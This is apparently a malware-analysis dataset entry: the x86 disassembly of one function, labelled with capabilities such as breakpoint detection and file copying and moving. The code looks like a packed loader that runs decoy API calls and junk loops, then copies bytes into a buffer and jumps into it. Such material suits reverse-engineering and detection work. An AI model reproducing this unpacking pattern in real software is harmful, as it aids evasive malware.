Function at 0x429df7
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Move file
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2524
call fcn.004115d0
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x429e1b
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x429e7b
cmp dword [0x439418], 0xc31
jne 0x429e44
and dword [ebp - 0x64], 0
push 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9c4
jle 0x429e79
cmp dword [0x439418], 0xa
jne 0x429e77
lea eax, [ebp - 0x6c]
push eax
push 0x432e58
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFile]
jmp 0x429e7b
jmp 0x429e14
and dword [ebp - 0x70], 0
jmp 0x429e88
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x5f6c74
jge 0x429ea6
cmp dword [ebp - 0x70], 0x562d05
jne 0x429ea4
mov eax, dword [0x435ff8]
mov dword [0x43941c], eax
jmp 0x429e81
cmp dword [0x439418], 0x7c
jne 0x429f7e
push 0
lea eax, [ebp - 0x870]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
and dword [ebp - 0x8a4], 0
push 0x2e
push 0
lea eax, [ebp - 0x8a0]
push eax
call fcn.0040e600
add esp, 0xc
push 0
lea eax, [ebp - 0x8a4]
push eax
push str.fahubarocuvuvejegovimisiwu
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push str.gijarudomuki
push str.gebacalace
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x439418], 0x2d
jne 0x429f44
lea eax, [ebp - 0x8bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x439418], 0x54
jne 0x429f55
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x432eaa
push 0x437c30
call fcn.0040114b
pop ecx
pop ecx
push ecx
fldz
fstp dword [esp]
call fcn.0040100b
fstp st(0)
add esp, 4
push 0
call fcn.004017af
pop ecx
cmp dword [0x439418], 0x110a
jne 0x42a11a
and dword [0x438720], 0
and dword [0x438724], 0
cmp dword [0x439418], 0xcc
jne 0x429fcc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x24c8]
push eax
push str.lumejasurinisomekep
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea eax, [ebp - 0x14c8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.wevisodomasamonacocidazegoluhocirakuduciwekunasigilamepidepiyupiwowazovopejibokewizi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x10c8]
push eax
push str.zituvehaziyepilegeyehezesekemidelapuzayuzajebivironemus
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.0040145e
pop ecx
pop ecx
push 0x432ff8
push str.0__f
push 0x437c30
call fcn.0040137b
add esp, 0xc
push 0
push 0
call fcn.0040145e
pop ecx
pop ecx
push str.0__s__d__f
call fcn.00401524
pop ecx
mov eax, dword [0x433010]
mov dword [ebp - 0x1cc8], eax
push 0x7fc
push 0
lea eax, [ebp - 0x1cc4]
push eax
call fcn.0040e600
add esp, 0xc
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x8c0], eax
push dword [ebp - 0x8c0]
lea eax, [ebp - 0x1cc8]
push eax
push 0xce6
push 0x438730
call fcn.00429ca0
add esp, 0x10
push 0
push 0
call fcn.0040145e
pop ecx
pop ecx
push ecx
push ecx
fldz
fstp qword [esp]
push ecx
push ecx
fldz
fstp qword [esp]
call fcn.00401000
fstp st(0)
add esp, 0x10
push 0
call fcn.00401724
pop ecx
call fcn.00429aa0
and dword [ebp - 0x24d0], 0
jmp 0x42a135
mov eax, dword [ebp - 0x24d0]
inc eax
mov dword [ebp - 0x24d0], eax
mov eax, dword [ebp - 0x24d0]
cmp eax, dword [0x439418]
jae 0x42a19b
mov eax, dword [0x43941c]
mov dword [ebp - 0x24d4], eax
mov eax, 0xa231
add dword [ebp - 0x24d4], eax
mov eax, dword [0x438130]
add eax, dword [ebp - 0x24d0]
mov ecx, dword [ebp - 0x24d4]
add ecx, dword [ebp - 0x24d0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x439418], 0x5ab
jne 0x42a199
lea eax, [ebp - 0x24f0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
jmp 0x42a128
call fcn.00429b62
call fcn.00429ab5
push 0x436000
call fcn.00429d47
pop ecx
and dword [ebp - 0x24f4], 0
jmp 0x42a1c6
mov eax, dword [ebp - 0x24f4]
inc eax
mov dword [ebp - 0x24f4], eax
cmp dword [ebp - 0x24f4], 0x15a63d
jge 0x42a1ef
cmp dword [ebp - 0x24f4], 0xbd9cb
jne 0x42a1ed
mov eax, dword [0x438130]
add eax, 0
mov dword [0x438130], eax
jmp 0x42a1b9
and dword [ebp - 0x24f8], 0
jmp 0x42a205
mov eax, dword [ebp - 0x24f8]
inc eax
mov dword [ebp - 0x24f8], eax
cmp dword [ebp - 0x24f8], 0x6f479f
jge 0x42a256
cmp dword [0x439418], 0xbf9
jne 0x42a225
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov dword [0x43813c], 0x8e55e61a
cmp dword [0x439418], 0xbc
jne 0x42a254
push 0
push str.sifaletipizeciyozuxisonejozagijiweluwipicuxogiraheroriluvejosatijedarovawujerorigikedozotawawoxukeyukejuviw
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
jmp 0x42a1f8
jmp dword [0x438130]